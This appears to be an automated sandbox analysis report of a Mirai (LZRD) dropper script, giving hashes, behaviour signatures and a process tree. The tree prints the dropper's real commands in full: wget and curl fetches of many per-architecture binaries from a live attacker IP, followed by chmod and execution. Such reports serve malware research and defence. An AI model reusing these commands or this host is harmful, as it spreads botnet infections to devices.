Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02-01-2025 04:21

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    ed9afc8adb1a34f93090873f6b76ec07

  • SHA1

    13b5f418f63a32c61e493995e10e3baa0b02caab

  • SHA256

    74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091

  • SHA512

    3ef263bf7ef4cadcc3587d3ef891289cb051087c9d125a74fc8f34f16cda89ca79c2a5ae6f2d0edee3f87855de37af4a594779d6d0d332beade0654e102bd049

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 44 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:702
    • /usr/bin/wget
      wget http://45.95.169.120/hiddenbin/wind.x86
      2⤵
      • Writes file to tmp directory
      PID:704
    • /usr/bin/curl
      curl -O http://45.95.169.120/hiddenbin/wind.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:718
    • /bin/cat
      cat wind.x86
      2⤵
        PID:729
      • /bin/chmod
        chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.x86 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:731
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:732
      • /usr/bin/wget
        wget http://45.95.169.120/hiddenbin/wind.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:734
      • /usr/bin/curl
        curl -O http://45.95.169.120/hiddenbin/wind.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:736
      • /bin/cat
        cat wind.mips
        2⤵
        • System Network Configuration Discovery
        PID:737
      • /bin/chmod
        chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.mips wind.x86 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:738
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:739
      • /usr/bin/wget
        wget http://45.95.169.120/hiddenbin/wind.arc
        2⤵
        • Writes file to tmp directory
        PID:741
      • /usr/bin/curl
        curl -O http://45.95.169.120/hiddenbin/wind.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:742
      • /bin/cat
        cat wind.arc
        2⤵
          PID:743
        • /bin/chmod
          chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.mips wind.x86 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:745
        • /usr/bin/wget
          wget http://45.95.169.120/hiddenbin/wind.i468
          2⤵
            PID:748
          • /usr/bin/curl
            curl -O http://45.95.169.120/hiddenbin/wind.i468
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:754
          • /bin/cat
            cat wind.i468
            2⤵
              PID:761
            • /bin/chmod
              chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.i468 wind.mips wind.x86 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:764
            • /usr/bin/wget
              wget http://45.95.169.120/hiddenbin/wind.i686
              2⤵
                PID:766
              • /usr/bin/curl
                curl -O http://45.95.169.120/hiddenbin/wind.i686
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:773
              • /bin/cat
                cat wind.i686
                2⤵
                  PID:780
                • /bin/chmod
                  chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.i468 wind.i686 wind.mips wind.x86 WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:781
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:783
                • /usr/bin/wget
                  wget http://45.95.169.120/hiddenbin/wind.x86_64
                  2⤵
                    PID:785
                  • /usr/bin/curl
                    curl -O http://45.95.169.120/hiddenbin/wind.x86_64
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:791
                  • /bin/cat
                    cat wind.x86_64
                    2⤵
                      PID:802
                    • /bin/chmod
                      chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.i468 wind.i686 wind.mips wind.x86 wind.x86_64 WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:803
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:805
                    • /usr/bin/wget
                      wget http://45.95.169.120/hiddenbin/wind.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:806
                    • /usr/bin/curl
                      curl -O http://45.95.169.120/hiddenbin/wind.mpsl
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:808
                    • /bin/cat
                      cat wind.mpsl
                      2⤵
                        PID:809
                      • /bin/chmod
                        chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:810
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        • Modifies Watchdog functionality
                        • Writes file to system bin folder
                        • Reads runtime system information
                        PID:811
                      • /usr/bin/wget
                        wget http://45.95.169.120/hiddenbin/wind.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:815
                      • /usr/bin/curl
                        curl -O http://45.95.169.120/hiddenbin/wind.arm
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:816
                      • /bin/cat
                        cat wind.arm
                        2⤵
                          PID:817
                        • /bin/chmod
                          chmod +x ohshit.sh systemd-private-1c5365c8e8d94387beee51d2a499c02b-systemd-timedated.service-nLOgtl wind.arc wind.arm wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:818
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:819
                        • /usr/bin/wget
                          wget http://45.95.169.120/hiddenbin/wind.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:821
                        • /usr/bin/curl
                          curl -O http://45.95.169.120/hiddenbin/wind.arm5
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:825
                        • /bin/cat
                          cat wind.arm5
                          2⤵
                            PID:828
                          • /bin/chmod
                            chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:830
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:831
                          • /usr/bin/wget
                            wget http://45.95.169.120/hiddenbin/wind.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:834
                          • /usr/bin/curl
                            curl -O http://45.95.169.120/hiddenbin/wind.arm6
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:843
                          • /bin/cat
                            cat wind.arm6
                            2⤵
                              PID:852
                            • /bin/chmod
                              chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:853
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:855
                            • /usr/bin/wget
                              wget http://45.95.169.120/hiddenbin/wind.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:858
                            • /usr/bin/curl
                              curl -O http://45.95.169.120/hiddenbin/wind.arm7
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:866
                            • /bin/cat
                              cat wind.arm7
                              2⤵
                                PID:868
                              • /bin/chmod
                                chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:869
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                PID:870
                              • /usr/bin/wget
                                wget http://45.95.169.120/hiddenbin/wind.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:872
                              • /usr/bin/curl
                                curl -O http://45.95.169.120/hiddenbin/wind.ppc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:873
                              • /bin/cat
                                cat wind.ppc
                                2⤵
                                  PID:874
                                • /bin/chmod
                                  chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.ppc wind.x86 wind.x86_64 WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:875
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:876
                                • /usr/bin/wget
                                  wget http://45.95.169.120/hiddenbin/wind.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:878
                                • /usr/bin/curl
                                  curl -O http://45.95.169.120/hiddenbin/wind.spc
                                  2⤵
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:879
                                • /bin/cat
                                  cat wind.spc
                                  2⤵
                                    PID:880
                                  • /bin/chmod
                                    chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.ppc wind.spc wind.x86 wind.x86_64 WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:881
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:882
                                  • /usr/bin/wget
                                    wget http://45.95.169.120/hiddenbin/wind.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:884
                                  • /usr/bin/curl
                                    curl -O http://45.95.169.120/hiddenbin/wind.m68k
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:885
                                  • /bin/cat
                                    cat wind.m68k
                                    2⤵
                                      PID:886
                                    • /bin/chmod
                                      chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.m68k wind.mips wind.mpsl wind.ppc wind.spc wind.x86 wind.x86_64 WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:887
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:888
                                    • /usr/bin/wget
                                      wget http://45.95.169.120/hiddenbin/wind.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:890
                                    • /usr/bin/curl
                                      curl -O http://45.95.169.120/hiddenbin/wind.sh4
                                      2⤵
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:891
                                    • /bin/cat
                                      cat wind.sh4
                                      2⤵
                                        PID:892
                                      • /bin/chmod
                                        chmod +x ohshit.sh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.m68k wind.mips wind.mpsl wind.ppc wind.sh4 wind.spc wind.x86 wind.x86_64 WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:893
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:894

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      d70a9269f912109afaeec442fb967ce6

                                      SHA1

                                      0d89ccf6cb68f4d5b5f5a29d7f5de04984017b21

                                      SHA256

                                      5645309e550ef9e1afad4a0da0f577a3be054aec87122317d8a0a677d47496ab

                                      SHA512

                                      59817f04c9902c892b91469b8448431a641ea9e7fcc9fa9e87e317fdee1919d9a063f8bfc88fe90f9e9c40a3362ee2e5611f385c819e21ead39ea6148026e275

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      ea6615b985e2ddd30d65e1293058ddd9

                                      SHA1

                                      3890c332e3d2167f7a5e279135843d6905324d6b

                                      SHA256

                                      c16826f971473f4fa6c23a50c745e747eddc9d7a1e026b0613bb1d2ed24f6c52

                                      SHA512

                                      975d87a0c7b876d1fa3c1d832b7cef130e6e32052b9ea90bddc166709a4c1ad3d51f3e60c7120b7b4c15b1829e5d465cbc99bac53efa185201a648113c38f9fc

                                    • /tmp/WTF

                                      Filesize

                                      217B

                                      MD5

                                      b5c5bc11ee843c629fe4dc7b16d9e3c8

                                      SHA1

                                      b4f2fc81c39d2c053c55ee06a161655f6546a372

                                      SHA256

                                      40e81787af6d49bfd5ff0dd8a740f823899d31ddf509e41b10165b13a8cc6e39

                                      SHA512

                                      fe3c0c15734685ad54a0068e56cd4247e7cf4716257d25e1916fc69e2c0d7a490166b3802339fff264e3e4ef86d2d4c156f5866eb931e99dce15ad64c96f1a16

                                    • /tmp/WTF

                                      Filesize

                                      217B

                                      MD5

                                      7996ac0d48cf7290dc39acdf4c6cbe78

                                      SHA1

                                      6949f5ef62883990e34538ee5bfdab36b5ddddde

                                      SHA256

                                      96db2cd9e9a66997acbc90e8f591e6b1696bb47500d1d07db2d20e3c92de70a8

                                      SHA512

                                      0eb9e26445b177be128aa076110ff2d3488641347c17eef3f2e44b50bb9fe18f4c7fa10cccf2985801fbfd5fcc5c163cf141452850927aa58f623737a9d9488a

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      42d86ec69889e6fc6c2709a571d72f24

                                      SHA1

                                      63a111cf7f0be7930592de0255397594d983c27e

                                      SHA256

                                      8aff3837c290a26986a2b1b180a1e8d5d8480a64cfa3b9d6cb0c40fbe8d07f0b

                                      SHA512

                                      9067a819685cb60c768808d6e19de31bd7ed9b33d705fe68be3ea9f2f5b1912d8b3ac5252036bb46f033a72378e4bc7c09872972ed4b26d9cb5fbdd422e6d668

                                    • /tmp/wind.x86

                                      Filesize

                                      20KB

                                      MD5

                                      2696d2b99111e232d78a0c9678a3e154

                                      SHA1

                                      19933c0b1d0b81348c862aaedbda11087b87c874

                                      SHA256

                                      3cd86a5cc82976251f617c7ca32d6d0fa5e757a4489f0e60dd1cccff28f8b379

                                      SHA512

                                      67a9bd12fe8499665fe2a4ae772f4685744a00bfec1452577236f626ddbd8087956609673a78b514a6e438538f815242c98dff15b83c1b8f4302130ea818b8bb